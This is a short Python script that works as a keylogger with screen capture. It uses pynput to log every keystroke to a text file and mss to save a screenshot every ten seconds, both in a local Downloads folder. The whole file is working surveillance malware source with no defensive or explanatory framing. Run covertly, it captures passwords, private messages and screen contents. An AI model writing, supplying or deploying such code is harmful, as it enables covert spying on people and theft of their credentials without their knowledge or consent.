import pynput
from pynput.keyboard import Key, Listener
import logging
from datetime import datetime
import os
import time
from mss import mss
# Set the directory to store the log file
log_directory = '/home/rocheston/Downloads/'
# Create a function to capture the keystrokes
def on_press(key):
logging.basicConfig(filename=(log_directory + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
logging.info(str(key))
# Create a function to take screenshot every 10 seconds
def screenshot():
while True:
filename = log_directory + datetime.now().strftime("Screenshot %Y-%m-%d %H.%M.%S.png")
with mss() as sct:
sct.shot(output=filename)
time.sleep(10)
# Collect events until released
with Listener(on_press=on_press) as listener:
screenshot()
listener.join()